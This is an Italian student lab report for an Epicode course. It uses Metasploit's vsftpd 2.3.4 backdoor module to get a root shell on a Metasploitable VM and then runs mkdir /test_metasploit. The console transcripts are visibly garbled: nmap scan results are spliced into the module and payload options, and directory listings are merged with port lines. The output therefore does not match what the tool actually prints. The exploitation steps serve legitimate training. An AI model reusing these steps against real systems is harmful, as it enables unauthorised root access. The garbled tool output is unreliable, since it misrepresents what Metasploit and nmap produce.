

04 MARZO 2024

# REPORT - EPICODE

S7L1

PRESENTED BY

**Alessandro Marasca**

# HACKING CON METASPLOIT

## Traccia

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/).

Chiamate la cartella test\_metasploit.

02 - HACKING CON METASPLOIT

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)
RHOSTS     open http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
RPORT      open rcpbind     2 (RPC #100000)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  --      -
cmd        open shell?
cmd        open java-rmi    GNU Classpath gmicregistry
cmd        open bindshell   Metasploitable root shell
cmd        open nfs         2-4 (RPC #100003)

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:33761 -> 192.168.1.149:6200) at 2024-03-04 09:10:53 -0500

mkdir /test_metasploit
```

```
cd /cp      open http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
ls1/tcp     open rcpbind     2 (RPC #100000)
bin/tcp     open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
boot/tcp    open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
cdrom/p     open exec?
dev/tcp     open login?
etc/tcp     open shell?
home/tcp    open java-rmi    GNU Classpath gmicregistry
initrd/p    open bindshell   Metasploitable root shell
initrd.img  open nfs         2-4 (RPC #100003)
lib1/tcp    open ccproxy-ftp?
lost+found  open mysql?
media/tcp   open postgresql  PostgreSQL DB 8.3.0 - 8.3.7
mnt1/tcp    open vnc          VNC (protocol 3.3)
nohup.out   open X11          (access denied)
opt1/tcp    open irc          UnrealIRCd
proc/tcp    open asp13        Apache Jserv (Protocol v1.3)
root/tcp    open http         Apache Tomcat/Coyote JSP engine
sbin1/tcp   open java-rmi    GNU Classpath gmicregistry
srv         Address: 08:00:27:4D:FC:29 (Oracle VirtualBox virtual NIC)
sys1/ice    Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux
test_metasploit
tmp1/ice    detection performed. Please report any incorrect results at https://www.rapid7.com/submit
usr1/done:  1 IP address (1 host up) scanned in 194.70 seconds
var
vmlinuz     /kali: /home/kali:
|
```

# Alessandro Marasca

Epicode

S7L1- CS0124

04 MARZO 2024